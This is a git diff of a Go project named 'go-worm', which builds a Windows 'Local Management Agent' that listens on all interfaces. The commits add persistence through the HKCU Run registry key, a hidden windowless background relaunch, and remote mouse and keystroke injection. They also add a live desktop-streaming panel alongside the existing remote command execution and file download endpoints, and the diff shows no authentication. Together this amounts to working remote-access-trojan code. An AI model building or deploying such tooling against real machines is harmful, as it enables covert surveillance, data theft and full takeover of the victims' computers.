Compare commits

..
4 Commits
13 changed files with 687 additions and 35 deletions
+36
View File
@@ -0,0 +1,36 @@
# Build output
/localagent.exe
*.exe
*.exe~
*.dll
*.so
*.dylib
# Tests and coverage
*.test
*.out
coverage.out
coverage.html
# Go workspace
go.work
go.work.sum
# Vendor (this repo uses modules)
/vendor/
# Environment
.env
.env.*
# OS
.DS_Store
Thumbs.db
desktop.ini
# Editors
.idea/
.vscode/
*.swp
*.swo
*~
+5
View File
@@ -14,6 +14,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/files"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/input"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
)
@@ -42,6 +43,7 @@ func New() (*Agent, error) {
return nil, err
}
a.guard = guard
input.EnableDPIAwareness()
return a, nil
}
@@ -62,6 +64,9 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/download", a.handleDownload)
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
mux.HandleFunc("/api/v1/exec", a.handleExec)
mux.HandleFunc("/api/v1/startup", a.handleStartup)
mux.HandleFunc("/api/v1/input/click", a.handleClick)
mux.HandleFunc("/api/v1/input/text", a.handleText)
a.server = &http.Server{
Addr: a.addr,
+119 -19
View File
@@ -2,7 +2,6 @@ package agent
import (
"context"
"encoding/base64"
"encoding/json"
"errors"
"io"
@@ -19,8 +18,10 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/files"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/input"
"tea.chunkbyte.com/kato/go-worm/lib/models"
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
"tea.chunkbyte.com/kato/go-worm/lib/startup"
)
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
@@ -39,11 +40,14 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
helpers.WriteJSON(w, http.StatusOK, map[string]any{
"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
"paths": map[string]any{
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
},
})
}
@@ -58,9 +62,31 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
"agent_version": config.Version, "listen_address": a.addr,
"startup_enabled": startup.Enabled(),
})
}
func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodPost:
if err := startup.Enable(); err != nil {
helpers.Log.Printf("startup enable: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup")
return
}
case http.MethodDelete:
if err := startup.Disable(); err != nil {
helpers.Log.Printf("startup disable: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup")
return
}
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
}
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
@@ -163,27 +189,101 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
return
}
}
images, err := screenshot.Capture(format, quality)
monitor := 0
if raw := r.URL.Query().Get("monitor"); raw != "" {
var err error
monitor, err = strconv.Atoi(raw)
if err != nil || monitor < 0 {
helpers.WriteError(w, http.StatusBadRequest, "monitor must be 0 or greater")
return
}
}
frame, err := screenshot.CaptureMonitor(monitor, format, quality)
if err != nil {
if errors.Is(err, screenshot.ErrMonitorNotFound) {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
helpers.Log.Printf("screenshot: %v", err)
helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available")
return
}
if len(images) == 1 {
w.Header().Set("Content-Type", images[0].ContentType)
w.Header().Set("Content-Length", strconv.Itoa(len(images[0].Data)))
_, _ = w.Write(images[0].Data)
w.Header().Set("Content-Type", frame.ContentType)
w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data)))
w.Header().Set("X-Monitor-Left", strconv.Itoa(frame.Left))
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
_, _ = w.Write(frame.Data)
}
func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
response := models.ScreenshotResponse{Images: make([]models.ScreenshotImage, 0, len(images))}
for i, item := range images {
response.Images = append(response.Images, models.ScreenshotImage{
Monitor: i,
ContentType: item.ContentType,
DataBase64: base64.StdEncoding.EncodeToString(item.Data),
})
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
defer r.Body.Close()
var request models.ClickRequest
decoder := json.NewDecoder(r.Body)
decoder.DisallowUnknownFields()
if err := decoder.Decode(&request); err != nil {
helpers.WriteError(w, http.StatusBadRequest, "body must contain click coordinates")
return
}
helpers.WriteJSON(w, http.StatusOK, response)
left, top, width, height, err := screenshot.MonitorBounds(request.Monitor)
if err != nil {
if errors.Is(err, screenshot.ErrMonitorNotFound) {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
helpers.WriteError(w, http.StatusBadRequest, "monitor not found")
return
}
if request.X < left || request.Y < top || request.X >= left+width || request.Y >= top+height {
helpers.WriteError(w, http.StatusBadRequest, "click is outside the selected monitor")
return
}
if err := input.Click(request.X, request.Y, request.Button); err != nil {
if errors.Is(err, input.ErrBadButton) {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
helpers.Log.Printf("click: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not click")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "x": request.X, "y": request.Y})
}
func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
defer r.Body.Close()
var request models.TextRequest
decoder := json.NewDecoder(r.Body)
decoder.DisallowUnknownFields()
if err := decoder.Decode(&request); err != nil {
helpers.WriteError(w, http.StatusBadRequest, "body must contain text")
return
}
if request.Text == "" {
helpers.WriteError(w, http.StatusBadRequest, input.ErrEmptyText.Error())
return
}
if len(request.Text) > config.MaxInputText {
helpers.WriteError(w, http.StatusBadRequest, "text is too long")
return
}
if err := input.TypeText(request.Text); err != nil {
helpers.Log.Printf("text: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not type text")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "length": len(request.Text)})
}
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
+139
View File
@@ -8,8 +8,17 @@
const shotGallery = document.getElementById("shot-gallery");
const execOut = document.getElementById("exec-out");
const execMeta = document.getElementById("exec-meta");
const startupState = document.getElementById("startup-state");
const startupAdd = document.getElementById("startup-add");
const startupRemove = document.getElementById("startup-remove");
const videoCanvas = document.getElementById("video-canvas");
const videoMeta = document.getElementById("video-meta");
const videoStart = document.getElementById("video-start");
const videoStop = document.getElementById("video-stop");
let objectUrls = [];
let videoRunning = false;
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
function showError(message) {
errorEl.textContent = message || "";
@@ -89,7 +98,9 @@
["Listen", data.listen_address],
["Uptime", `${data.uptime_seconds}s`],
["Local IPs", (data.local_ips || []).join(", ") || "—"],
["Startup", data.startup_enabled ? "enabled" : "disabled"],
];
setStartup(Boolean(data.startup_enabled));
statusFields.replaceChildren(
...fields.flatMap(([label, value]) => {
const dt = document.createElement("dt");
@@ -180,6 +191,105 @@
shotGallery.append(figure);
}
function setStartup(enabled) {
startupState.textContent = enabled ? "Startup: enabled" : "Startup: disabled";
startupAdd.disabled = enabled;
startupRemove.disabled = !enabled;
}
async function setStartupEnabled(enabled) {
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
setStartup(Boolean(data.startup_enabled));
loadStatus().catch((err) => showError(err.message));
}
function clamp(value, min, max) {
const n = Number(value);
if (!Number.isFinite(n)) return min;
return Math.min(max, Math.max(min, Math.round(n)));
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
async function startVideo() {
if (videoRunning) return;
videoRunning = true;
videoStart.disabled = true;
videoStop.disabled = false;
while (videoRunning) {
const started = Date.now();
try {
await pullVideoFrame();
} catch (err) {
showError(err.message);
}
if (!videoRunning) break;
const fps = clamp(document.getElementById("video-fps").value, 1, 15);
await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
}
}
function stopVideo() {
videoRunning = false;
videoStart.disabled = false;
videoStop.disabled = true;
}
async function pullVideoFrame() {
const quality = clamp(document.getElementById("video-quality").value, 1, 100);
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
const res = await api(`/api/v1/screenshot?format=jpeg&quality=${quality}&monitor=${monitor}`);
lastMonitor = {
left: Number(res.headers.get("X-Monitor-Left") || 0),
top: Number(res.headers.get("X-Monitor-Top") || 0),
width: Number(res.headers.get("X-Monitor-Width") || 0),
height: Number(res.headers.get("X-Monitor-Height") || 0),
};
const blob = await res.blob();
const bitmap = await createImageBitmap(blob);
if (videoCanvas.width !== bitmap.width || videoCanvas.height !== bitmap.height) {
videoCanvas.width = bitmap.width;
videoCanvas.height = bitmap.height;
}
const ctx = videoCanvas.getContext("2d");
ctx.drawImage(bitmap, 0, 0);
const width = bitmap.width;
const height = bitmap.height;
bitmap.close();
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
}
async function sendClick(event, button) {
if (!lastMonitor.width || !lastMonitor.height) return;
const rect = videoCanvas.getBoundingClientRect();
if (!rect.width || !rect.height) return;
const bitmapX = Math.floor((event.clientX - rect.left) * (videoCanvas.width / rect.width));
const bitmapY = Math.floor((event.clientY - rect.top) * (videoCanvas.height / rect.height));
const x = lastMonitor.left + bitmapX;
const y = lastMonitor.top + bitmapY;
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
await api("/api/v1/input/click", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ x, y, button, monitor }),
});
}
async function sendVideoText() {
const field = document.getElementById("video-text");
const text = field.value;
if (!text) return;
await api("/api/v1/input/text", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ text }),
});
field.value = "";
}
async function runCommand() {
const command = document.getElementById("exec-command").value.trim();
const timeout = Number(document.getElementById("exec-timeout").value);
@@ -201,12 +311,21 @@
document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active"));
button.classList.add("active");
document.getElementById(button.dataset.tab).classList.add("active");
if (button.dataset.tab !== "video") {
stopVideo();
}
});
});
document.getElementById("refresh-status").addEventListener("click", () => {
Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message));
});
startupAdd.addEventListener("click", () => {
setStartupEnabled(true).catch((err) => showError(err.message));
});
startupRemove.addEventListener("click", () => {
setStartupEnabled(false).catch((err) => showError(err.message));
});
document.getElementById("file-list").addEventListener("click", () => {
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
});
@@ -216,6 +335,26 @@
document.getElementById("shot-capture").addEventListener("click", () => {
captureScreen().catch((err) => showError(err.message));
});
videoStart.addEventListener("click", () => {
startVideo().catch((err) => showError(err.message));
});
videoStop.addEventListener("click", () => stopVideo());
videoCanvas.addEventListener("click", (event) => {
sendClick(event, "left").catch((err) => showError(err.message));
});
videoCanvas.addEventListener("contextmenu", (event) => {
event.preventDefault();
sendClick(event, "right").catch((err) => showError(err.message));
});
document.getElementById("video-send").addEventListener("click", () => {
sendVideoText().catch((err) => showError(err.message));
});
document.getElementById("video-text").addEventListener("keydown", (event) => {
if (event.key === "Enter") {
event.preventDefault();
sendVideoText().catch((err) => showError(err.message));
}
});
document.getElementById("exec-run").addEventListener("click", () => {
runCommand().catch((err) => showError(err.message));
});
+37
View File
@@ -62,6 +62,7 @@
border-color: var(--accent);
color: #fff;
}
button:disabled { opacity: 0.45; cursor: default; }
.panel {
display: none;
background: var(--card);
@@ -113,6 +114,15 @@
.shots { display: flex; flex-wrap: wrap; gap: 0.75rem; }
.shots figure { margin: 0; }
.shots img { max-width: 100%; height: auto; border: 1px solid var(--line); border-radius: 8px; }
#video-canvas {
width: 100%;
height: auto;
display: block;
border: 1px solid var(--line);
border-radius: 8px;
cursor: crosshair;
background: #111;
}
.error {
display: none;
max-width: 1100px;
@@ -133,6 +143,7 @@
<button data-tab="status" class="active">Status</button>
<button data-tab="files">Files</button>
<button data-tab="screenshot">Screenshot</button>
<button data-tab="video">Video</button>
<button data-tab="exec">Command</button>
</nav>
<main>
@@ -142,6 +153,11 @@
<button id="refresh-status" class="primary" type="button">Refresh</button>
</div>
<dl id="status-fields"></dl>
<div class="row" style="margin-top:1rem">
<span id="startup-state" class="meta">Startup: —</span>
<button id="startup-add" type="button">Add to startup</button>
<button id="startup-remove" type="button">Remove from startup</button>
</div>
</section>
<section id="files" class="panel">
<div class="row">
@@ -172,6 +188,27 @@
</div>
<div id="shot-gallery" class="shots"></div>
</section>
<section id="video" class="panel">
<div class="row">
<button id="video-start" class="primary" type="button">Start</button>
<button id="video-stop" type="button" disabled>Stop</button>
<label>FPS
<input id="video-fps" type="number" min="1" max="15" value="5" style="width:4.5rem">
</label>
<label>Quality
<input id="video-quality" type="number" min="1" max="100" value="40" style="width:5rem">
</label>
<label>Monitor
<input id="video-monitor" type="number" min="0" value="0" style="width:4.5rem">
</label>
</div>
<canvas id="video-canvas" width="1280" height="720"></canvas>
<p id="video-meta" class="meta"></p>
<div class="row" style="margin-top:0.75rem">
<input id="video-text" type="text" placeholder="Type text for the focused field">
<button id="video-send" class="primary" type="button">Send</button>
</div>
</section>
<section id="exec" class="panel">
<div class="row">
<textarea id="exec-command" placeholder="ipconfig /all"></textarea>
+11 -8
View File
@@ -6,14 +6,17 @@ import (
)
const (
Version = "1.0.0"
DefaultAddr = "0.0.0.0:5032"
MutexName = "LocalManagementAgent_Mutex"
RequestBodyMax = 1 << 20
MaxListEntries = 10000
MaxImageQuality = 100
DefaultExecTO = 30
MaxExecTO = 120
Version = "1.0.0"
DefaultAddr = "0.0.0.0:5032"
MutexName = "LocalManagementAgent_Mutex"
RequestBodyMax = 1 << 20
MaxListEntries = 10000
MaxImageQuality = 100
DefaultExecTO = 30
MaxExecTO = 120
StartupValueName = "LocalManagementAgent"
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
MaxInputText = 4096
)
func EnvOr(name, fallback string) string {
+116
View File
@@ -0,0 +1,116 @@
package input
import (
"errors"
"strings"
"syscall"
"unicode/utf16"
"unsafe"
)
const (
inputMouse = 0
inputKeyboard = 1
mouseLeftDown = 0x0002
mouseLeftUp = 0x0004
mouseRightDown = 0x0008
mouseRightUp = 0x0010
keyeventfKeyup = 0x0002
keyeventfUnicode = 0x0004
)
var (
ErrBadButton = errors.New("button must be left or right")
ErrEmptyText = errors.New("text must not be empty")
user32 = syscall.NewLazyDLL("user32.dll")
procSetCursorPos = user32.NewProc("SetCursorPos")
procSendInput = user32.NewProc("SendInput")
procSetProcessDPIAware = user32.NewProc("SetProcessDPIAware")
)
type mouseInput struct {
Type uint32
_ uint32
Dx int32
Dy int32
MouseData uint32
Flags uint32
Time uint32
ExtraInfo uintptr
}
type keybdInput struct {
Type uint32
_ uint32
Vk uint16
Scan uint16
Flags uint32
Time uint32
ExtraInfo uintptr
_ [8]byte
}
func EnableDPIAwareness() {
_, _, _ = procSetProcessDPIAware.Call()
}
func Click(x, y int, button string) error {
down, up, err := mouseFlags(button)
if err != nil {
return err
}
ok, _, callErr := procSetCursorPos.Call(uintptr(x), uintptr(y))
if ok == 0 {
return callErr
}
inputs := []mouseInput{
{Type: inputMouse, Flags: down},
{Type: inputMouse, Flags: up},
}
return sendMouse(inputs)
}
func TypeText(text string) error {
if text == "" {
return ErrEmptyText
}
units := utf16.Encode([]rune(text))
inputs := make([]keybdInput, 0, len(units)*2)
for _, unit := range units {
inputs = append(inputs,
keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode},
keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode | keyeventfKeyup},
)
}
return sendKeys(inputs)
}
func mouseFlags(button string) (down, up uint32, err error) {
switch strings.ToLower(strings.TrimSpace(button)) {
case "", "left":
return mouseLeftDown, mouseLeftUp, nil
case "right":
return mouseRightDown, mouseRightUp, nil
default:
return 0, 0, ErrBadButton
}
}
func sendMouse(inputs []mouseInput) error {
n, _, err := procSendInput.Call(uintptr(len(inputs)), uintptr(unsafe.Pointer(&inputs[0])), uintptr(unsafe.Sizeof(inputs[0])))
if n == 0 {
return err
}
return nil
}
func sendKeys(inputs []keybdInput) error {
n, _, err := procSendInput.Call(uintptr(len(inputs)), uintptr(unsafe.Pointer(&inputs[0])), uintptr(unsafe.Sizeof(inputs[0])))
if n == 0 {
return err
}
return nil
}
+49
View File
@@ -0,0 +1,49 @@
package instance
import (
"fmt"
"os"
"os/exec"
"strings"
"syscall"
"golang.org/x/sys/windows"
)
func Detach() error {
if AlreadyRunning() {
return fmt.Errorf("agent already running")
}
exe, err := os.Executable()
if err != nil {
return err
}
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
if err != nil {
return err
}
defer nul.Close()
cmd := exec.Command(exe, stripBackground(os.Args[1:])...)
cmd.Stdin = nul
cmd.Stdout = nul
cmd.Stderr = nul
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
}
return cmd.Start()
}
func stripBackground(args []string) []string {
out := make([]string, 0, len(args))
for _, arg := range args {
name := strings.TrimLeft(arg, "-/")
lower := strings.ToLower(name)
if lower == "background" || strings.HasPrefix(lower, "background=") {
continue
}
out = append(out, arg)
}
return out
}
+13
View File
@@ -28,6 +28,19 @@ func Acquire() (*Guard, error) {
return &Guard{handle: h}, nil
}
func AlreadyRunning() bool {
name, err := windows.UTF16PtrFromString(config.MutexName)
if err != nil {
return false
}
h, err := windows.OpenMutex(windows.SYNCHRONIZE, false, name)
if err != nil {
return false
}
windows.CloseHandle(h)
return true
}
func (g *Guard) Close() {
if g == nil || g.handle == 0 {
return
+15
View File
@@ -38,4 +38,19 @@ type ExecResponse struct {
type CapturedImage struct {
ContentType string
Data []byte
Left int
Top int
Width int
Height int
}
type ClickRequest struct {
X int `json:"x"`
Y int `json:"y"`
Button string `json:"button"`
Monitor int `json:"monitor"`
}
type TextRequest struct {
Text string `json:"text"`
}
+69 -6
View File
@@ -13,6 +13,8 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
var ErrMonitorNotFound = errors.New("monitor not found")
var (
user32 = syscall.NewLazyDLL("user32.dll")
gdi32 = syscall.NewLazyDLL("gdi32.dll")
@@ -68,19 +70,80 @@ func Capture(format string, quality int) ([]models.CapturedImage, error) {
}
result := make([]models.CapturedImage, 0, len(monitors))
for _, monitor := range monitors {
img, err := captureRect(monitor)
frame, err := captureAndEncode(monitor, format, quality)
if err != nil {
return nil, err
}
data, contentType, err := encodeImage(img, format, quality)
if err != nil {
return nil, err
}
result = append(result, models.CapturedImage{ContentType: contentType, Data: data})
result = append(result, frame)
}
return result, nil
}
func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
if err := attachInputDesktop(); err != nil {
return models.CapturedImage{}, err
}
monitors, err := enumerateMonitors()
if err != nil {
return models.CapturedImage{}, err
}
if index < 0 || index >= len(monitors) {
return models.CapturedImage{}, ErrMonitorNotFound
}
return captureAndEncode(monitors[index], format, quality)
}
func MonitorCount() (int, error) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
if err := attachInputDesktop(); err != nil {
return 0, err
}
monitors, err := enumerateMonitors()
if err != nil {
return 0, err
}
return len(monitors), nil
}
func MonitorBounds(index int) (left, top, width, height int, err error) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
if err := attachInputDesktop(); err != nil {
return 0, 0, 0, 0, err
}
monitors, err := enumerateMonitors()
if err != nil {
return 0, 0, 0, 0, err
}
if index < 0 || index >= len(monitors) {
return 0, 0, 0, 0, ErrMonitorNotFound
}
r := monitors[index]
return int(r.Left), int(r.Top), int(r.Right - r.Left), int(r.Bottom - r.Top), nil
}
func captureAndEncode(monitor rect, format string, quality int) (models.CapturedImage, error) {
img, err := captureRect(monitor)
if err != nil {
return models.CapturedImage{}, err
}
data, contentType, err := encodeImage(img, format, quality)
if err != nil {
return models.CapturedImage{}, err
}
return models.CapturedImage{
ContentType: contentType,
Data: data,
Left: int(monitor.Left),
Top: int(monitor.Top),
Width: int(monitor.Right - monitor.Left),
Height: int(monitor.Bottom - monitor.Top),
}, nil
}
func attachInputDesktop() error {
h, _, err := procOpenInputDesktop.Call(0, 0, 0x0001|0x0040)
if h == 0 {
+62
View File
@@ -0,0 +1,62 @@
package startup
import (
"errors"
"os"
"path/filepath"
"golang.org/x/sys/windows/registry"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
func Enabled() bool {
k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
_, _, err = k.GetStringValue(config.StartupValueName)
return err == nil
}
func Enable() error {
command, err := commandLine()
if err != nil {
return err
}
k, _, err := registry.CreateKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue(config.StartupValueName, command)
}
func Disable() error {
k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
if err != nil {
if errors.Is(err, registry.ErrNotExist) {
return nil
}
return err
}
defer k.Close()
err = k.DeleteValue(config.StartupValueName)
if errors.Is(err, registry.ErrNotExist) {
return nil
}
return err
}
func commandLine() (string, error) {
exe, err := os.Executable()
if err != nil {
return "", err
}
exe, err = filepath.Abs(exe)
if err != nil {
return "", err
}
return `"` + exe + `" -background`, nil
}
+16 -2
View File
@@ -4,16 +4,30 @@
//
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe .
//
// The binary is a normal console application. A CMD window appears on launch
// and prints the listen address. Press Ctrl+C to stop.
// A CMD window appears on launch. Use -background to start without a window:
//
// localagent.exe -background
package main
import (
"flag"
"tea.chunkbyte.com/kato/go-worm/lib/agent"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
)
func main() {
background := flag.Bool("background", false, "run without a console window")
flag.Parse()
if *background {
if err := instance.Detach(); err != nil {
helpers.Log.Fatalf("%v", err)
}
return
}
a, err := agent.New()
if err != nil {
helpers.Log.Fatalf("%v", err)